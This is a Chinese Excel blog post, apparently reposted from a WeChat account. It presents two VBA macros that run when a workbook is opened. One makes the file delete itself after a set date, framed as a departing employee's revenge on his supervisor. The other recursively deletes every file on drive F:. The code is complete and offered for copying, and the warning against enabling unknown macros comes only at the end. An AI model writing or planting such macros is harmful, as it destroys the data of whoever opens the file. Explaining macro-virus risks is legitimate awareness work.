能自杀和通杀的工作簿

2019年9月25日23:50:48 发表评论 14

1,

……Long Long Ago……

山的那边海的那边……有位Excel高手……他在一家电子商务公司上班。

他有一份Excel工作簿,通过VBA编程将日常工作通通自动化了。他每天闲的除了喝王者农药就是剁手逛淘宝,他主管看他不顺眼,三番两次刁难他。于是他耸耸肩宣布辞职……

临走前,他将那份神奇的Excel工作簿留给了主管。主管觉得那份Excel工作簿真好用,公司没有必要再招新员工了;主管又觉得那孩子真傻,这么好的东西居然白白留给公司,真是个二货啊……

过了几天,主管打开那份Excel工作簿,打算像往常那样鼠标点点处理问题,Excel突然弹出一条信息:

能自杀和通杀的工作簿-1

主管一脸懵逼……

然后,这份工作簿就从主管的电脑里消失了,就像从来没存在过一样。

 

如果你需要一份拥有自杀功能的Excel工作簿,将下面的代码复制到该工作簿VBE窗口的ThisWorkbook的代码窗口内,保存退出就可以了。

能自杀和通杀的工作簿-2



Private Sub Workbook_Open()

    If Date >= "2019-4-1" Then

        Application.DisplayAlerts = False

        MsgBox "你好,二货!你相信Excel会成精吗?" & vbCr & "表格我活够了,我要死了,再见~嘎嘎嘎嘎嘎~。"

        With ThisWorkbook

            .Saved = True

            .ChangeFileAccess xlReadOnly

            Kill .FullName

            .Close

        End With

    End If

End Sub


该段代码使用了工作簿打开事件,顾名思义,就是工作簿打开时执行相关代码。它设定的自杀条件是,当前电脑时间大于等于2019年4月1日。您可以根据自身需要进行相应调整……。


2,

聊完了“自杀”,咱们再聊“杀人”……

宏病毒借助和OFFICE办公软件的亲密关系,一直拥有强大的破坏性,它可以肆意删除或加密电脑中的文件、窃取用户帐号密码……等等。

以为这很高级?很复杂?和你很遥远?非黑客不能为?

错!

其实这些事儿有时候很简单。

举个小例子。

还记得吗,上期我们分享了批量删除Excel工作簿的小代码。如果借助Excel工作簿打开事件,结合那期的代码,当你启用宏,打开含该代码的工作簿,然后……你就会发现电脑F盘中大量的文件都被删除了。

代码:

Private Sub Workbook_Open()

    p = "F:"

    Call Killy(p) '调用FSO遍历子文件夹的递归过程

End Sub

Function Killy(p)

    On Error Resume Next

    Application.DisplayAlerts = False

    Set fld = CreateObject("Scripting.FileSystemObject").GetFolder(p)

    Kill fld.Path & "*.*"

    For Each fd In fld.SubFolders

        Call Killy(fd.Path)

    Next

End Function


能自杀和通杀的工作簿-3


3,

今天聊“自杀和杀人”不是为了让大家做坏事……

今天俺聊“自杀和杀人”不是为了让大家做坏事……

今天俺聊“自杀和杀人”不是为了让大家做坏事……

重要的事情说三遍……

诸君更不要手贱去尝试那段杀人的代码……然后把自己电脑里的文件给杀个透心凉冰冰爽……

聊这些只是告诉大家,不要轻易启用来历不明的宏文件……

能自杀和通杀的工作簿-4

就酱紫,我是男神,我是星光,握爪说再见。


图文作者:看见星光


能自杀和通杀的工作簿-5

专业的职场技能充电站

本篇文章来源于微信公众号: Excel之家ExcelHome

郭浩

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: